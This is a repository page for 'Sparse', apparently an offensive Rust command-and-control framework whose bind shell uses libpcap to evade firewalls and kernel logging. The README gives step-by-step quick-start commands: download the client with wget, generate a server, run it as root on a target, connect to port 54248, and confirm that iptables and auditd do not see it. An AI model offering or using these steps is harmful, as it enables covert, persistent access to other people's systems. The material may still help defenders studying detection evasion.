Andrew Rioux ac7521fa4a
Some checks failed
Build sparse 0.5 without FreeBSD support / build-and-upload (push) Failing after 1h8m6s
fix: up the number of parallel jobs used
2025-10-21 12:23:54 -04:00
2024-02-08 14:49:05 -05:00
2024-01-23 17:39:56 -05:00
2025-10-20 08:26:33 -04:00
2025-10-20 08:26:33 -04:00
2025-10-20 08:26:33 -04:00
2024-01-24 00:56:53 -05:00

Sparse: A Rust C2 framework

Developed using libpcap to enable evading local firewalls and with an eye towards hiding itself from inspection. Deprecated in favor of sparse-v2 before being completely developed; the most significant tool this repository contributes is sparse-05.

This repository weaponizes some of the concepts highlighted in this blog post

Significant Packages

  • pcap-sys: A Rust wrapper around the libpcap library for Linux
  • nl-sys: A Rust wrapper around the netlink (nl) library on Linux
  • sparse-05: A bind shell utility to create bind shells on target servers and connect to them

Development

This environment is designed to be developed in with a Nix developer shell, obtained with nix develop

Bind shell

The most mature implementation of Sparse would be the Sparse version 0.5 bind shell, which has documentation in its appropriate folder.

Quick start:

  • Either download or build the client:
    • Download from releases:
      • sudo wget https://gitea.riouxs.co/andrew.rioux/sparse/releases/download/v0.6.1/sparse-05-client -O /usr/local/bin/sparse-05-client
      • chmod +x /usr/local/bin/sparse-05-client
    • Build:
      • Install the Nix package manager on a Linux system: [https://nixos.org/download/]
      • Run nix --experimental-features 'nix-command flakes' build .#sparse-05-client
      • Copy result/bin/sparse-05-client to somewhere in your $PATH
  • Generate a Linux server with sparse-05-client generate -t linux service-name
  • Copy to and run on a target system as root
  • Connect to it with sparse-05-client connect service-name.scon SERVER_IP:54248
  • Set up a firewall to block all inbound connections with iptables -P INPUT DROP, iptables -F INPUT; sparse should still be able to connect and operate
  • Run iptstate, auditbeat, or auditd from another session to see that no IP or UDP traffic is being logged by the kernel
Description
No description provided
Readme AGPL-3.0 437 KiB
Languages
Rust 96.8%
Nix 2.5%
Python 0.4%
C 0.3%